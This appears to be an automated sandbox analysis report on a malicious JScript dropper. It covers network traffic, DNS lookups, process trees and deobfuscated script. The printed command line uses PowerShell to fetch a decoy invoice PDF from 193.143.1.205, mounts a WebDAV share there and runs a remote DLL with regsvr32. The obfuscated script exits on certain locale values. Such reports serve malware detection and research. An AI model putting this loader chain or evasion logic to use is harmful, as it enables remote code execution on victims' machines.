Jan 11, 2025 07:11:30.769848108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.769874096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.769890070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.769979954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.769982100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.770124912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.770140886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.770152092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.770179033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.770180941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.770195961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.770256996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.787090063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787122011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787131071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787251949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787266970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787282944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787297964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787379980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.787379980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.787493944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787511110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787527084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787538052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.787575960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.787678957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787697077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787734985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.787898064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787914991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.787951946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.791095018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.791152954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.791171074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.791198969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.791285992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.791327953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.791380882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.791404963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.791421890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.791441917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.811060905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.822010040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822053909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822071075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822088957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.822236061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822253942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822269917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822334051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.822334051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.822375059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822402000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822418928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822433949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822438002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.822451115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822462082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.822508097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.822608948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822632074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822649956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822665930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822674036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.822683096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.822707891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.871578932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:31.167001009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:31.625616074 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:31.630604029 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:31.630671024 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:31.630922079 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:31.635732889 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:32.442174911 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:32.496581078 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:32.847717047 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:12:57.945899010 CET	61789	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:57.950733900 CET	53	61789	1.1.1.1	192.168.2.7
Jan 11, 2025 07:12:57.950887918 CET	61789	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:57.950887918 CET	61789	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:57.956068993 CET	53	61789	1.1.1.1	192.168.2.7
Jan 11, 2025 07:12:58.394884109 CET	53	61789	1.1.1.1	192.168.2.7
Jan 11, 2025 07:12:58.398756981 CET	61789	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:58.403767109 CET	53	61789	1.1.1.1	192.168.2.7
Jan 11, 2025 07:12:58.406613111 CET	61789	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:58.626913071 CET	53	61789	1.1.1.1	192.168.2.7
Jan 11, 2025 07:12:58.627103090 CET	61789	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:58.631953001 CET	53	61789	1.1.1.1	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:11:44.702780962 CET	58263	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:08.783341885 CET	49196	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:32.845431089 CET	49620	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:56.939528942 CET	52050	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:12:57.945286989 CET	53	59922	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:11:44.702780962 CET	192.168.2.7	1.1.1.1	0x3990	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:12:08.783341885 CET	192.168.2.7	1.1.1.1	0x6ee6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:12:32.845431089 CET	192.168.2.7	1.1.1.1	0x255c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:12:56.939528942 CET	192.168.2.7	1.1.1.1	0xffc5	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 07:11:44.710187912 CET	1.1.1.1	192.168.2.7	0x3990	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:12:08.790452003 CET	1.1.1.1	192.168.2.7	0x6ee6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:12:32.852833033 CET	1.1.1.1	192.168.2.7	0x255c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:12:56.946739912 CET	1.1.1.1	192.168.2.7	0xffc5	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	7512	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:11:29.298147917 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:11:30.074368954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:11:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:11:30.074394941 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:11:30.074414015 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:11:30.074641943 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 07:11:30.074701071 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 07:11:30.074717999 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 07:11:30.074734926 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 07:11:30.074750900 CET	1000	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 07:11:30.074767113 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 07:11:30.075279951 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 11, 2025 07:11:30.079412937 CET	220	IN	Data Raw: fd 82 86 a7 e5 ea 37 9b de df 2b 8b ac e5 05 0d f7 f7 ea 77 5a 4d dd d6 37 96 d1 f3 3a 0b 25 54 9f f0 fb bc 55 33 95 69 0e 0f 95 9c ed 4b a8 59 fa 9d 1b 75 0f 8f f1 95 9b ad 3f 50 b5 70 a7 5d 74 38 74 da 7f 78 01 f8 dc ad 1c 4c b0 7b 16 3a 30 d4 Data Ascii: 7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	7792	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:11:31.630922079 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:11:32.442174911 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:11:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:11:25
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js"
Imagebase:	0x7ff7467c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:11:25
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Imagebase:	0x7ff65c560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:11:25
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:11:26
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:11:30
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	01:11:30
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65c560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:11:30
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7555c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:11:31
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:11:31
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	01:11:31
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1740,i,17434924027587996690,12863139382215928345,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lbrwf() {	lbrwf() ➔ undefined
1	rbrnsa = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mdwaagnmg = this[nsptffkdf + ldpjjqndv + upzuyjweh + zjbiwjabz + eipsdme + poqbjsl + pycssuuow + ngkockbjq] ( this[kykyrs + hubvme + sisyj + upzuyjweh + nthazsjpj + nsptffkdf + ngkockbjq][wxogy + upzuyjweh + eipsdme + ldpjjqndv + ngkockbjq + eipsdme + siamix + lwirczbgh + ntlvrqn + eipsdme + sisyj + ngkockbjq] ( kykyrs + hubvme + sisyj + upzuyjweh + nthazsjpj + nsptffkdf + ngkockbjq + rauiviok + hubvme + ztvues + eipsdme + nxanx + nxanx ) [mevlorih + eipsdme + seexzutv + mevlorih + eipsdme + ldpjjqndv + buboypv] ( jwbkvzf + omlqkya + sdjleonhw + ksrritoi + zogfzg + wxogy + zfoug + mevlorih + mevlorih + sdjleonhw + eybbiai + hwlfso + zogfzg + zfoug + hubvme + sdjleonhw + mevlorih + nflmyvlfa + wxogy + mwimo + pycssuuow + ngkockbjq + upzuyjweh + mwimo + nxanx + cpvbotl + qwbpvgd + ldpjjqndv + pycssuuow + eipsdme + nxanx + nflmyvlfa + poqbjsl + pycssuuow + ngkockbjq + eipsdme + upzuyjweh + pycssuuow + ldpjjqndv + ngkockbjq + nthazsjpj + mwimo + pycssuuow + ldpjjqndv + nxanx + nflmyvlfa + ahjkcw + mwimo + sisyj + ldpjjqndv + nxanx + eipsdme ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nnmjd = 0 ; nnmjd < rbrnsa[nxanx + eipsdme + pycssuuow + seexzutv + ngkockbjq + ztvues] ; ++ nnmjd )
4	{
5	if ( mdwaagnmg == rbrnsa[nnmjd] )
6	{
7	mdwaagnmg = true;
8	break ;
9	}
10	}
11	if ( mdwaagnmg !== true )
12	this[kykyrs + hubvme + sisyj + upzuyjweh + nthazsjpj + nsptffkdf + ngkockbjq][uvfupjyup + xenjjl + nthazsjpj + ngkockbjq] ( );
